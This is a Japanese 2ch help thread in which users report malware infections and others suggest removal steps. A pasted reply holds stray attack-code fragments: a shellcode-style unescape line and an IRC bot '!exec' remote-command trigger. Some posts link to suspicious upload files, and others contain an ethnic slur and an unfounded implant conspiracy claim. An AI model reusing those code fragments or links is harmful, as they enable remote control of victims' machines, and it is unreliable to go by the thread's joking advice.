しばらくしたら画面が黒くなり再起動がはじまり、この繰り返しなんです。

何度か、それを繰り返したら、時々正常に起動することがあり、その時にファイルが消えてないか確認もしつつAVG９でプログラムを削除したのですが、治らないです。

PCはインターネットにもつなげない状態なので
携帯から上記のウィルス対策を探してたのですが閲覧に限界があり、改善策がいまだに分からない状態です。

どう対応した方がよろしいでしょうか？

解決策が分かる方、調べてみて分かった方がいましたら
お知らせください。

>>327　それ、Daonolっていうトロイの木馬だな。

>>327
セーフモードで起動して駆除

>>327
http://orbit.cocolog-nifty.com/supportdiary/2009/10/windows-c44b.html
参考にしてくれ

mseとウイルスセキュリティーのzeroを一緒にいれてたんですが×ですか？

すっごくPCの調子がわるいです(>_<)

いきなり画面がクラッシュしたり、左画面上では音楽がいきなりなりだしてお手上げです(>_<)

PCはまだ新しいです。

11月の半ば位にmseのスキャンでトロイの木馬ってのに4つ位感染してました。

今はピクチャのフォルダーがおかしいんです！
ピクチャーにフォルダーを何個か削除してたんですが、いきなりフォルダー全体（画面とかある右側）が半透明みたいになって画像が勝手に一個一個のフォルダーに作成されて、フォルダーには画像が一個ずつ入ってる状態です(>_<)

これウイルスですか？

今日オンラインでウイルス何件か調べたけど、問題なし。


訳わかりません(>_<)
解決方法教えてくださいm(_ _)m

質問する場所間違えてたらすみません…

>>331
スパイウェアかもな詳しくはググれ
めんどいならクリーンインストールしろ
あと顔文字ウザい

NOD32が抽出
Win32/Kryptik CIO トロイの亜種

こんなの出ました
何か知っている人いたら情報よろですorz

NOD32定義ファイル: 4858 (20100211)ということで、昨日更新されたのに掛かったらしいです
http://canon-its.jp/product/eset/vrs_info/virusupd/vupd_page21.html

>>333
暗号化されたウイルスの亜種だと思われる
検出箇所と対応処置が完了したのか？を確認して
出来れば複数のスキャナで今一度PC環境内をスキャンしたほうがいい

>>334 ありがとう御座います
一応、スキャンして駆除しましたが、
似たような名前のEXEファイルが定期的に作られるので、
どうもシステムに食いついているみたいです。

いろいろ試してみたいと思います。

NOD恒例の誤検出くさ…

海外のサイトに行ったら突然XP AntiVirus Proというのが出始めました
フリーのスキャンソフトを使ったらtrojan.Agent/gen-rogueというのが出たんでこれが原因かと思ったんですが、
駆除しても、もう一度スキャンしたら元に戻っています
どうしたらいいでしょうか。それとも原因自体が間違ってるんでしょうか。そもそもウィルスなんでしょうか

http://u6.getuploader.com/sadaharu21/download/110/CSOL+ExCheat1.3v+Free%E3%80%80%E6%97%A5%E6%9C%AC%E8%AA%9E%E7%89%88.zip
ここの奴のメモに書いてるまま実行しちゃったんだけど、ウイルスじゃないよね？
変なのはタスクマネージャーで消しました。　スタートアップからも。

こんなの使おうとして反省してまーす

>>338
　ウイルスじゃないよ
　大丈夫。
　ってＣＳＯでうｐ主がいってた

>>339
どうも　ありがとうございます。　安心しました。

http://u1.getuploader.com/sample/download/2247/sample_2247.zip
これをダウンロードして実行してしまいました
どうしたらよいでしょうか？
ちなみに結果は
貞子アカウントが勝手に作られて
テーマの変更と壁紙も変更されたみたいです
どう対処したらよいでしょうか？

http://www1.axfc.net/uploader/Sc/so/102106
これダウンロードしたらタスクマネージャ使えなくなった
どうしたらいいの

ワードで作成し保存しておいたファイルが
勝手に消えている。
代わりに同名の謎のショートカットが
できている。作った覚えはない。
ショートカットのリンク先のパスはでたらめで開けない。
ファイナルデータで元ファイルの復元を試みたけど、
全くかからない。完全に削除されてる模様。
これはマクロウイルスか何かの仕業でしょうか…

電源落とすたびにキモブタがモニターにうつります
ウイルスですか？わかりません＞＜；

>>290 それボットだよ
ウィルスがPC感染してそのPCを根城に他人にスパムメール送ってるんだよ
たぶんそのメール開いた人も貴方と同じボットになるよ
で処理しないかぎり被害者が永遠と増える

7322.comで感染したんだけど。

デスクトップに消せない。Internet Explorerのアイコンが出て消せないんだけど。

これってどう対処するの？だけれ、対策できや奴いる？

ウィルスバスターでもスルーするんだけど。

AVGでコンピュータをサーチしたら、ウィルスIRC/BackDoor.Floodが検出されましたと出たんですが・・
これって何なのでしょうか・・・

昨日から１時間おきにTMPファイルが作成されて、スタートアップに入ろうとしては
ウイルスバスターにはじかれてるんだが。
親プロセスも不明だしオワタ

セーフモードで再起動したりシステムの修復でインターネット繋がるようになって
ウイルスゼロで検査したりしてるんですが、ＹＯＵＴＵＢＥが見れません。

パソコンが感染してます、セキュリティがブロックしてますという内容の表示が出ます。
ウイルスＺＥＲＯを無効にしても無理なんですよ。

どうしたらいいんでしょうか？

どうすればって・・・・・

ウィルスを駆除すればいいと思う

質問させてください。
先日初歩的なミスを犯し、感染しました。
「W32.Pinfi」の感染が多数見つかり、何とか駆除を完了させたのですが、
キーボードの認識が可笑しくなり、レジストリを書き換えなんとか回復しました。

現状ウィルスの再発見などもなく、リカバリせずとも辛うじて使って行けそうなのですが。

しかし以前は無かった、ＸＰログイン画面でのパスワードを入力枠の横に、
ＩＭＥ特有の赤い丸(風船のようなもの)が表示されています。

これの原因及び削除方法が分かる方おられませんか？

赤い丸って入力方式のアイコンの事か？

>>352
恐らくその入力方式(IMEスタンダード)のアイコンです。
こんなの普通出ませんよね？

★セキュリティ初心者質問スレッド　から
http://hibari.2ch.net/test/read.cgi/sec/1276269248/3
http://hibari.2ch.net/test/read.cgi/sec/1276269248/658

予防措置と
併用セキュリティで自衛をするようにしましょう。

オレ、結婚式会社のページで感染したけど、AVAST先生に助けられた。

頼むよアンスブルージュ　http://www.j-mpe.com/anc/

ちゃんと告知してるだけえらいけどな。

http://japan.zdnet.com/extra/trenddlpage_201009/
どぞ〜

rundll32.exeがユーザー名で動いてるんだけど、これってウィルスか何かかな？
AVGでスキャンしたけど感染、スパイボット共にありませんでした。
警戒しなくて大丈夫かな？

あとなんか２ちゃん検索かけてたらBAT/Genericとやらにひっかかった…
ウィルスあんまり解らないので詳しい人お願い致します；

スパイスィーパのスキャンでMai/Generic-Lというウィルスが検出されたので取り敢えず隔離しようとしたんですが隔離出来ませんでしたと表示されて隔離出来ないのですが‥

報告！調査会社によるセキュリティ製品比較、選択のポイントはどこに？ - ZDNet Japan - http://goo.gl/ecXm

エロサイトを適当にクイックしてたら、入会完了の画面が出てきました。
削除してもすぐに出てきます。　画面がでないようにする方法を
教えて下さい。
宜しくお願い致します。

・・・ここで質問する人らはリカバリを習慣化した方がいい気がするのは俺だけか。




釣られた？

質問なのですが、ネットやっている最中に、
一瞬画面上に黒く四角いウィンドウっぽいものが見える事があります。
本当に一瞬で消えてしまうのですが...
アルファベットらしきものが見えた事もありました。
ちなみに、更新をクリックしたり別のページに飛ぼうとした時です。

これってウィルスかスパイウェアに感染しているのでしょうか？
3ヶ月前に同じような現象が起こった時、スキャンしてみたのですが、
その時は何も検出されませんでした。

お分かりになる方がいらっしゃいましたら、宜しくお願い致します。

【使用OS】　ウィンドウズ７
【Microsoft Update（MU）の状態】　たぶん最新
【使用セキュリティソフトとバージョン】　NTT西日本のセキュリティ対策ツールVER18
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　YES
【スパイウェア対策ソフト】　PC初心者なんでよくわかりません・・
【スパイウェア対策ソフトの更新は定期的に行なっているか】　上に同じ
【ルータの有無】　使ってます。2に代目のPCもあります


【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
スキャンの結果はなにもありませんでした。
しかし、インターネットに関係するもの（ｵﾍﾟﾗ火狐ｸﾛｰﾑIE9 ituneshelp等）をきどうしようとすると
それを阻止するかのように

Detected items　　 　　　　Alert level Recommendation　 Status
×Unknown Win32/trijan Sever 　　　　Remove Suspended

show details>> 　　　　　　cleam computer Applyactions close
こんなウィンドウがひらいて、ウィルス駆除ツールをすすめてきます。（開いてみるとあきらかに偽

調べてみるとSecurityEssentialFraud ？というのがでてきました
http://www.symantec.com/connect/blogs-90
駆除の仕方を教えてくださると幸いです。

http://www.j-mpe.com/anc/anc20100930.htm

やっぱりか

>>363
そのNTT西日本のセキュリティ対策ツールVER18とやらで駆除できないのか？

今時こんなｳｿ小学生でも通じないけど、面白かったわ
SSLの接続確認

ご利用の携帯電話は､通信会社との間で暗号化された安全な接続ができないことがあります｡
その場合には交信される情報の安全性が保障されない場合がありますが､よろしいですか?
※同意すると､今後この確認は省略されます｡
Yahoo! ﾄｯﾌﾟ
ﾍﾙﾌﾟ
(C)Yahoo Japan

MacでブラウザーSafariを使っています。
変な英語のメールが届いたので、削除しようと思って、そのメールを指定するために
クリックしたら、内容が半分から下のウィンドウに表示されました。
すぐに削除を実行しましたが、これってそのメールを開いたことになるんでしょうか？
誰かエロいひとお願いします。

開いたことになります

本当でつか？

そうすると削除するためにはどうすればよかったのでしょうか？

”エロい人”とか”〜でつか？”とか真面目に人に物を尋ねる態度じゃないな

鼻水が止まらないのですがこれってウィルスですか？

アレルギーじゃん。
ウィルスじゃないよきっと。

謎の事態が起きたので質問です
security toolというウィルスに感染してしまいネットで調べた削除方法を一週間ほど試していたのですが
削除方法に乗ってたウィルスを眠らせるプログラムは邪魔されるわ
ダウンロードしたウィルスを削除するプログラムは文字化けして使えないわで困っておりました
しかし今日パソコンを起動するとウィルスが立ち上がらなくいつのまにかウィルスが消えているのですがこれはウィルスが自然消滅したのでしょうか？
スタート→すべてのプログラムを見てもいないです
もうほっといていいのでしょうか？
何か不気味で怖いんでアドバイスお願いします
ちなみに当方ウィルスソフトはいれてないです

ウイルスソフトって…

ウィルスソフトを入れればまた感染するよ＾＾

>>374
>>375
ウィルスはいつのまにか自然消滅したわ
ろくにアドバイスもしないで関係ないとこだけ突っ込んでんじゃねーよカス！
ウジ虫みてーな奴だなw死ねや

自然消滅って(笑)


謎の事態だな(笑)(笑)

お前のパソコンにあるデータがどれだけ流出したか見ものだな(笑)

THINK　POINTというカード詐欺か？に感染した模様
インターネットエクスプローラーを開くと
金を払え画面が出てインターネットにつながりません。
２ｃｈ専用ブラウザは使えるが、対処方法教えてください。

ネットワーク接続が無効になっただけじゃない？

システムの復元で復旧しました。

まぁ感染したらセーフモードで立ち上げてシステム復元が基本
それでダメなら再インストール

tanpopo-tane.com/detail.asp?id=9114
このサイトにアクセスしたらトロイの木馬に感染してしまい英語でwindowsがウィルスに感染しています。
windowsセキュリティーセンターで問題を解決しますか？みたいな画面が出てきました。
remove sll risksというアイコンをクリックするとjustvirusscanというファイルをダウンロードしますか？と出ました
怪しかったのでそのファイルはダウンロードしなかったのですがこれで良かったんでしょうか？

とりあえず自分のパソコン内のマカフィーがトロイの木馬を削除してくれたみたいなんですが
他に何かすべきでしょうか？

>>383
心配ならマニュアル操作でフルスキャン

HDD全てフルスキャンしませう

>>384-385
フルスキャンしてみて何も問題なかったようです。
ありがとうございました。

Cドライブが数日で容量一杯まで増えてるんだけど、これもウィルス？
ウィルスな対処法教えてほしい。

ごみ箱にでも捨てちまえ

併用したいセカンドスキャナ更新

【Emsisoft - MalAware】 （*クイックチェック用クラウドスキャナ　*Emergency Kitとの併用がベストです）
　*インストール不要タイプ　*頻繁にプログラムアップデートしているので都度ダウンロードして試してみて下さい
http://www.emsisoft.com/en/software/malaware/　（使い方：http://i47.tinypic.com/hv9r1d.jpg ）
【Emsisoft - Free Emergency Kit】 ウイルス・トロイの木馬のスキャンと駆除 （*常駐保護は無し *手動Update ）
http://www.emsisoft.com/en/software/eek/　*インストール不要タイプ　(使い方：http://i26.tinypic.com/deo8xe.jpg )

【Live OneCare PC セーフティ オンラインスキャン】 （*駆除も可能 *Flash必要 *月1・2回程度空き時間に試してみて下さい）
http://onecare.live.com/site/ja-jp/default.htm　（*使い方：http://i53.tinypic.com/dgqw76.jpg ）
【F-Secure - Easy Clean】 （*クイックチェック用クラウドスキャナ *インストール不要タイプ ）
http://www.softpedia.com/get/Antivirus/F-Secure-Easy-Clean.shtml　　(使い方：http://i52.tinypic.com/eknq4y.jpg )
【F-Secure オンラインスキャナ】 （*駆除も可能 *一時的にでも、Java の最新バージョン必要）
http://www.f-secure.com/ja_JP/security/security-lab/tools-and-services/online-scanner/

【McAfee - Stinger】 (*インストール不要 *全ファイルスキャン *駆除可能 *月に数回配布 )
http://www.softpedia.com/get/Antivirus/McAfee-AVERT-Stinger.shtml　（使い方：http://i54.tinypic.com/2q1uj2f.jpg ）
【Malwarebytes' Anti-Malware】 ウイルス・スパイウェアのスキャンと駆除 （*常駐保護は無し *手動Update）
http://www.malwarebytes.org/mbam.php　（使い方：http://i56.tinypic.com/2ba076.jpg ）
【Spyware Blaster】 http://www.javacoolsoftware.com/index.html （http://i45.tinypic.com/2ce6gkw.jpg *Flash Killer機能も実用的です）

エロサイトの架空請求５００００円のポップアップウィンドーが
５分に１度くらいの頻度で画面に表示されます。
インターネットの線をはずしても、画面上のポップアップブロッカーを有効にしても
出てきます。どうしたらｋのしつこいポップアップウィンドーが
出ないように設定できますか？　よろしくお願いします！

>>390
コピペで失礼

レジストリの確認
参考サイト
http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1244861287
2箇所をそれぞれ確認して、www.special-girlss.com もしくは似たようなエントリーがないか確認する。

スタートアップの確認
参考サイト
http://www.net-beat.com/support/faq/basic/trouble/ras_q14sup.html
サービスではなく、スタートアップを確認してください。

4 ：ｚ：2010/08/28(土) 10:25:02 ID:NtVfNVmU0
452 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:53:49.30 ID:7Cr427LS0
>>440
・プロバイダの新しい有料メールアドレス
・ジャパンネットバンク銀行の使い捨て番号のVISAデビット
ニ.フ.ティ.ーの100円のメアドプラスで認証が通った。
認証できたら、メアドプラスは登録解除してOK。
普通のクレジットカードでは漢字の住所が登録できたが、
ジャパンネットバンク銀行のVISAデビットだとローマ字入力の住所を要求された。

ローマ字の書き方はこれ
ヘボン式ローマ字綴方表
http://www.seikatubunka.metro.tokyo.jp/hebon/

漢字住所でどんな順序でどんなローマ字、番地の番号を使ったかは、
メモ帳でメアド・パスワードと一緒に控えておいたほうがいい。
453 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:55:00.00 ID:t966sYmN0
ローマ字変換
eip=eip+unescape("%u7030%u4300")
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-
http://www2u.biglobe.ne.jp/~yuichi/rest/kanarome.html
454 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:56:54.59 ID:qfPgiwgp0
●買うなんて荒らしと一緒だぞ
455 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:58:50.21 ID:d455Pgrw0
荒らしが運営に喧嘩売っても被害を被るのは巻き添え食らってる人だけっていう…
荒らしたもん勝ち
456 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:58:54.30 ID:sPPrGi160
荒らしが●を買ったんだとしたら、個人情報登録してるんじゃないのか？
それで同一名義のアカウント全部停止するとか、
新たに買おうとしてきても拒否するというのはできないんだろうか？

>>391
ありがとう！　メッチャ感謝です！　
コンピューターのバックアップを外ＨＤにセーブして、
ＨＤを消す直前にレスを発見したので
膨大な量のソフトを再インスコ、再登録、再アプグレ、
約８時間の手間が省けました！！
ばい菌ファイルの名はエロサイトが勝手に発行した
パスワードが含まれてましたのですぐに分かりました

申し訳ないけど、教えてほしいです。
HDDfixというのが勝手に入ってきてから、PCを通常起動するとすぐに青画面になって
強制再起動されてしまいます（しかも、再起動はきちんと完了しません）。
とりあえずセーフモードで起動して、HDDfixのプロパティから、CドライブのProgram Data
フォルダからそれっぽいのを消したのですが、相変わらず通常起動だと即再起動をかけら
れます。
何か解決策があれば教えていただきたいです。

>>394
ググると、以下が出てくるが、多分インストール不可？
http://trojan-killer.net/hdd-fix-how-to-remove-hddfix-scam/?lang=ja
CD起動のウィルス対策は
http://www.avg.com/us-en/avg-rescue-cd
が有るが、対応は不明

再インストール

動作環境　WINDOWS XP sp3, Intel9550(Core2Quad)
インターネットに入ってる入ってないに関わらず
時々真っ黒なウィンドーが画面中心に約１秒間現れて消えます。
その黒いウィンドーには白い文字が現れますがあまりに一瞬なので
最後まで読むことは不可能です
このコンピューターにインストールしてある
Trend Microで感知したウィルスのお知らせ？のようです
これはどのようにしたら現れないように出来ますでしょうか？

コマンドプロンプトぽいが毎日出るのか？

すんません
ウィルスにやられたっぽいんですがどこいけば削除方法教えてもらえます？
自力でどうしようもなくなって＞＜

PC詳しくないならリカバリが無難

>>400
リカバリかぁー
なんとかそれ以外が希望なんです・・・

ちなみに症状がＩＳＯをチェック無しにマウントして発症
デスクトップにJPGのアイコンがいっぱい出てそれを画像ソフトが開くみたいな・・・
だからフリーズするんです

手で一生懸命消しても
スタートアップの画像アイコン消しても駄目

セーフモードで立ち上げても駄目
復元ポイントで戻っても駄目

バスター君で検索しても駄目

ファイル共有ソフトじゃ自業自得だな

すいません　事情あってすぐに更新できないんですが
１月１０日にノートン２００８　セキュリティが有効期限切れました。
詳しい人に聞くと
今の状況が続き　あたらしい更新ができないみたいなこと言われました。

今の状態　フルチンで校庭走ってるほど危なくはないと
言われましたが・・・
よく分かりません　
今どんくらい危険でどこに（アクセス）　行っちゃいけないのか
教えてください
来週ノートン　更新します
　

>>403
まあ数日程度なら運が悪くなければどこに行っても問題ないレベル

ただしWindows Update(Microsoft Update)がしっかり出来ていて
ほとんどのPCには入っているが更新できていないことが多い
Adobe Reader(PDF)、Flash Player（動画等）、JAVA(Javascriptとは別物)
あたりをちゃんと最新版に更新していることが前提

とはいえZero-Day真っ最中の脆弱性が複数あるからノートンの更新は早いに越したことはない
とくにウイルス対策ソフトに頼りきりなセキュリティ状況だと非常に危険

>>404
お答えありがとうございます
前提のは全てアップデートはできてます。

ウイルス対策ソフト以外のセキュリティとか予防法もあるんですか？

ゼロデイとか言うのよく分かんないんでググってみます。

>>401
俺もやられた。。。感染したHDDをぶん取って新しいのにOS入れてからサルベージしてみる

>>405
＞ウイルス対策ソフト以外のセキュリティとか予防法もあるんですか？
言葉が足りなかったな
前提のセキュリティアップデートをしていないのに
ウイルス対策ソフトを入れているだけで安心しているのは危険という意味
まあ他の予防法もあるが統合ウイルス対策ソフトに毎年追加されているので
一般ユーザが導入する必要はないかな

あとゼロデイというのは脆弱性が公開または悪用されているにもかかわらず
セキュリティアップデートが提供されていない期間、という意味で理解していればいいと思う

↓現在一般ユーザに関係ありそうそうなゼロデイ
ttp://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2447
ttp://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2462

なんか変なファイル開いたら、
強制シャットダウンの後セキュリティソフトの「攻撃を遮断しました」が10分おきくらいに出る・・・
誰かたしけて。

それだけじゃさっぱり分からんぞ
実行した変なファイルの名前やウイルス名くらい書けよｗ

こばわ
なんとか再インストして復活
色んなファイルが消えましたが
良い勉強と整理になりました

ご迷惑おかけしました

お、素直にリカバリしたんだな

家のミニノート、ふと思いついてノートンオンラインスキャンしたら

・・・・・LOVE LETTER・・・・・６個のファイル　　うそだろー〜

しかしノートンをインストして再度スキャンしても検出されず
セーフモードでようやく２個、赤字（Aクラス）で検出削除・・・・
もう時間がなくて、セーフモードで再スキャンして出勤した
メールはWEBメールしか使わないPCなのだが、誤検出じゃあなかったみたいだし・・・
まだ残ってるのか？

>>412
→http://hibari.2ch.net/test/read.cgi/sec/1295954858/6

アバスト

ブタ臭い（ｗ

中央日報の写真･動画ページを見ると
ノートン先生が「侵入の試みをブロックしてやったぞ!! ぼけぇ!!」
って顔真っ赤にして怒るんだけど・・・

トップはここ
ttp://japanese.joins.com/

チョンの卑劣な手はよくあること

http://trojan-killer.net/internet-security-2011-rogue-how-to-get-rid-of-internet-security-2011-fake-anti-spyware-application/?lang=ja

これに感染してしまったようなんだけど誰か助けてください；；

http://upple.info/1684/
passはpink

これ何系？
ＭＳＥでは反応しないし
avastも無反応でした

ここで大丈夫かな？

スパイウェアに感染した。
Wikipediaのスパイウェア項目を見る限り、概要欄に書いてあるやつの中で、偽りのメッセージを出して、ソフトの購入を迫るやつにあてはまる。

駆除用のソフトをダウンロードしようにも、スパイウェアの動きの方が強くて、ダウンロード出来ない。

もう初期化するしか無いのかなぁ。

どなたか、解答をいただけると嬉しいです。
もしくは、正しいスレに移動をご教示ください。

一応パソコンのスペックを書いておきます。

Windows Vista homeBASIC ＳＰ２
VAIO Ｎシリーズ。
Intel Celeron M
パソコン内には、消えて困るデータは無い。

よろしくお願いいたします。

>>418
助けてもなにもリンク先に駆除方法もツールもあるように見えるが？
とはいえこの手のウイルスはDownloaderタイプのウイルスが
呼び込んで感染することが多いので元を断たんとダメだな
しかし自身を隠蔽して容易に見つからないのでリカバリ推奨

>>420
あまり薦めんがスパイウェア程度ならシステムの復元で
感染前の状態に戻してから駆除もアリかな
あとは起動時にF8連打で「セーフモードとネットワーク」を選択して
Malwarebytes' Anti-MalwareなどをDLして駆除するくらいか

>>421
>>420です。
ありがとうございました。
後者で行なった結果、元に戻りました。

>>421
返答ありがとうございます>>418です
偽装セキュリティソフトに感染したものとしては
あんな英語だらけのリンク先にある駆除ツールなんていかにもって感じで使えませんでしたｗ
ウイルス自体は隔離できたのですがレジストリが書き換えられたかまだ潜伏してるのがあったらしく
めんどくさいのでリカバリしました
でわ

まだ報道されていない犯罪です。
夜中に家屋に侵入し睡眠中の人の体内に装置を埋め込み追跡したり
また装置を遠隔操作することでくしゃみをさせたり針で刺したような傷みを加えている者がいます。
奈良県生駒市北部に被害者多数のようです。

ここも感染
ttp://ameblo.jp/pianoroom-n/

Windows Restoreって言う偽セキュリティに注意せよ

●セキュリティ初心者質問スレッドpart128
http://hibari.2ch.net/test/read.cgi/sec/1314348991/

*セキュリティソフトの性能　
http://hibari.2ch.net/test/read.cgi/sec/1314348991/4
*Web攻撃への予防策
http://hibari.2ch.net/test/read.cgi/sec/1314348991/5
*併用出来るセカンドスキャナ
http://hibari.2ch.net/test/read.cgi/sec/1314348991/6


各自、空き時間にセカンドスキャナするようにして下さい。

USBハードディスクのファイルが全てexeに変わってた
ウイルススキャンしたら全部ウイルス判定されて消された

なんのウイルスに感染したんだ・・・。

ブックオフの公式トップページでウィルスに感染してしまった。
なんか14日〜17日まで感染していて現在修復済みってなってたのにその矢先21日に訪問で感染してしまった。orz

ブックオフがハッカーに狙われ続けて攻撃受けてるのかもしれません。
訪問は注意して下さい。

>>429
いま見に行ったらまたメンテナンスになっているな
GoogleキャッシュのBOOKOFFからのお知らせでは
＞2011年10月17日（月）　10時17分
＞改ざん箇所の修正を完了
としか記載がないから
セキュリティホールに大穴開けたままだったとか
ウイルス除去したつもりが残っていたとかそんなオチかね

カテ違いかもしれないけど。2ch掲示板のアダルト系掲示板とか掲示板に戻るとかするとアダルト系
の広告とかのっているけど、（なんか外人がリアルタイムでなんたら的なものまで）
これってリンク踏まなきゃ大丈夫なんすかね？たまに通る時これって大丈夫なのかといつも思うのだが

大丈夫

そう思わせとけ…

BOOKOFF公式復活してるな
今度は大丈夫かねえ

感染したパソコンにiPhone同期させちゃったんだけどこれもうだめなのかな…

■セキュリティ初心者質問スレッドpart129
http://hibari.2ch.net/test/read.cgi/sec/1323593004/

★セキュリティソフトの性能
http://hibari.2ch.net/test/read.cgi/sec/1323593004/4
★Web攻撃への予防策
http://hibari.2ch.net/test/read.cgi/sec/1323593004/5
★併用出来るセカンドスキャナ （*空き時間に自己診断してみよう）
http://hibari.2ch.net/test/read.cgi/sec/1323593004/6

( ´,_ゝ｀)

( ´,_ゝ｀)

スレチだったらごめんなさい。

snapdoって言うのに感染してしまいました。
「quickshare」って言うのにも関係してるみたいで…。
プログラムと機能でアインストールとかしても、また復活してくる。
いつどこでそういうのが入ったのかわからないけど、クローム立ち上げたときとか、
ホーム画面がsnapdoになってたりして、何回も設定しなおしてるけど、根本から削除しないと治りませんか？
その方法教えてください。

新疆ウィルス自治区

nortonのパワーイレイサーを使ってみたら、それまでのセキュリティソフトでは見付からなかった
怪しいexeが３つも見付かった！無料試用版でも削除できた！嬉しい。
困ってる人は駄目もとで、自己責任でどうぞ。

始めまして、困っているので教えてください・・・

実はワールドカップの配信サイトで、何かしらダウンロードしてしまい
下記のようなバナーやポップアップが繰り返され、非常に重く困ってます。
http://fast-uploader.com/file/6959723447318/

色々検索して調べたのですが、アドオンを調べたり、Tontooっていうファイルなど、有名な処置は試してみたのですが
どれも上手くいきません…

多分似たような被害にあってる人多いと思いますが、アドバイスしてください

http://fast-uploader.com/file/6959809040428/
↑
ちなみにこれらを発見しましたが、削除しても>>442のポップアップやバナーは消えませんでした。

もう何日もワールドカップがカクカクで見れないのですが・・まじ犯人ここにたらグシャグシャにしてやりたい

>>443
リカバリはできないの？
もし何かの事情でできないならここ↓にでも相談してみたら
ttp://akudaikan-0.bbs.fc2.com/?
ただし完全に駆除できる保証はない。

悩むよりさっさとリカバリした方が早いよ。

>>442
nortonのパワーイレイサーを使ってみたら?

維持でも消してやろうと頑張ってるけど、色々調べて怪しいファイル消したりするけど
バナーと広告ポップアップが全然なくならない

こんなに難しい事なの？ｗ
「ここをこうすれば消えるよ」「これを削除すれば消えるよ」っていう方法ないか・・

>>442
「下記のような・・・」とあってロダのリンク・・・
感染しているパソコンからアップロードされたリンクなんて怖くて開けないよ
もっと、リンクを使わずに文章で、「（具体的なサイト名）に飛ばされます」みたいな
報告じゃないと・・・

>>447
検体が(全て)あればそれも可能だろうけどないんだったらしょうがないでしょ。
或いは広告が表示されるとき何が起こってるのか、Process Explorer等でメモリ内容まで踏み入って調べれば何かしらヒント得られるかもしれないが。
個人的に、広告消えたところで安全性に懸念は残るからリカバリが無難だと思うが。
まだ試してなきゃTDSSKiller,HerdProtect,AdwCleaner等も試してみたらー(あくまで非推奨)。TDSSKillerはオプションでドライバ署名の認証以外全部チェック入れて。

>>448
まぁ、マルウェアの駆除できるだけのスキルある人なら危険リンクを安全に開く術くらい心得ているはずだから、いいんじゃない。

Downloader Agent2.bazeを AVGフリー版で除去しても
２０分くらいで　またDownloader Agent2.bazeを検知してしまう
どうやったら本当に除去できるの？真剣に困っています。
誰かアドバイス下さい。OSはいまだにXPです。

>>450
感染経路も感染の実態も知らないが、
可能性としては他に本体があって復元しているということも考えられる。
リカバリorOSのクリーンインストールを推奨。

失礼ながらこんな質問をしなきゃならないのなら、
Xpを使うべきではないしセキュリティソフトも有料にした方がいい。
新しいマシンを買うか、自作なら7か8を正規のルートから買ってください。
もしくは、自分で勉強してそのXpマシンにUbuntuやMintあたりを入れるか。

>>451
Internet Explorer 8を立ち上げると直後に検知するんですよね。（後はランダム）
当然最後の更新はしてます。
クリーンインストールは別症状のため３ヶ月前にやったばかりで または、ちょっと…

windows7sp1以降はwindows9(仮)に無償アップデートするという噂が本当なら
今すぐ買い替えるがWINDOWS8.1は嫌です。他のOSはソフトの関係で考えていません。
他になんか良い方法はないかないですかね？

>>452
じゃあとりあえず誤検知の可能性を探るため対象ファイルをVirustotalに上げてみたら？
ついでにTDSSKiller, Malwarebytes Anti-Malware, HerdProtectでスキャン。
TDSSKillerはスキャン前にオプションからドライバ署名のチェック以外すべての項目を選択→再起動を要求される。
MBAMは定義を最新にして設定でルートキットスキャンを有効にし脅威スキャン。
HPはportable版DLしてデフォルト設定でのスキャンでいいや。
高度な感染だったらここまでやっても無駄かもしれんが、単純なものなら尻尾を出すだろ。
これができなさそうなら素直にリカバリ。

既に最終更新以後の脆弱性出てるし、もし感染してたらまたはちょっともへったくれもないような。

噂は噂、確かめようもない。
自作だったら本体はUbuntuにして仮想マシン(VM)にXp詰め込めばいいと思うけど、VMなら安全とは思いなさんな。
メーカー製なら買い替え推奨、セキュリティだけでなくスペック的にも。
(念のため聞くがそのソフトというのはwineでも動かせないの？)

それなりの知識があればXpでもだいぶ安全な運用も可能だが、一朝一夕に身につくものでもない。
例えばブラウジングにSandboxieを使うのは一つの方法だが、OSに脆弱性があるなら十分とは言えないし、
ユーザー自身が変なもの入れてしまうのは防げない。
EMETやMalwarebytes Anti-Exploitも役には立つが低スペックマシンにあまり沢山セキュリティ入れるのも難しいし、
かといってOS標準機能で賄おうにもXpだと手段が限られる。
少なくともIEは脆弱性修正されないんだから使うべきではない、Chromeでも使いな。
Javaはもし入ってたらアンスト、各種プラグインも常に最新に。

推奨はあくまで買い替えかOS入れ替えだがな。

補足
HPはスキャン後、｢○時間後に再スキャンしろ｣と言ってくることがある。
その場合は指示に従う

>>453
Virustotalに上げてみたところ
ソフト名　AVG 　結果 Downloader.Agent2.BUZE (トロイの木馬)
　　　　　F-Prot 　　W32/A-e453b0a7!Eldorado
他のソフトは検知せず 誤検知なんだろうか？

>>455
それだけじゃ判断できないからスキャナーを3つ提示したんだが…
新種だったら1-3エンジンでしか検出されないなんてざらだぜ？
まあその場合これらのスキャナーでもみつからないかもしれんが、
そのときはそのときで考えてはいたんだが。

ま、一番いいのはそのファイルをAVGに提出することかな。
それが難しそうならとりあえずそのファイルの場所(フルパス)を教えてもらえないだろうか。
(パスに個人情報含む場合は除外して)

例:
C:\Users\ユーザー名\AppData\Local\Google\Chrome\Application\chrome.exe

あと詳細情報知りたいからそのVirustotalのリンク貼れない？

>>456
オブジェクト名
C:\Documents and Settings\ユーザー名\Local Settings\Application Data\Microsoft\IME12\IMEJP\Dicts\{5922D9AC-79FF-442D-B6ED-B65BE2646487}.dic
C:\Documents and Settings\ユーザー名\Local Settings\Application Data\Microsoft\IME12\IMEJP\Dicts\{F243075C-CF91-4F2F-B108-F19D1C4B6EB1}.dic
C:\Documents and Settings\ユーザー名\Local Settings\TempUDT241.TMP
など
拡張エレメント情報
C:\Program Files\Common Files\Microsoft Shared\IME12\IMEJP\IMJPCMNT.EXE
C:\Program Files\Internet Explorer\iexplore.exe
こんな答え方でいいのかな？
他のスキャナーはまた、週末に試してみます。

>>456
トレンドマイクロオンラインスキャンも検出しませんでした。

>>457
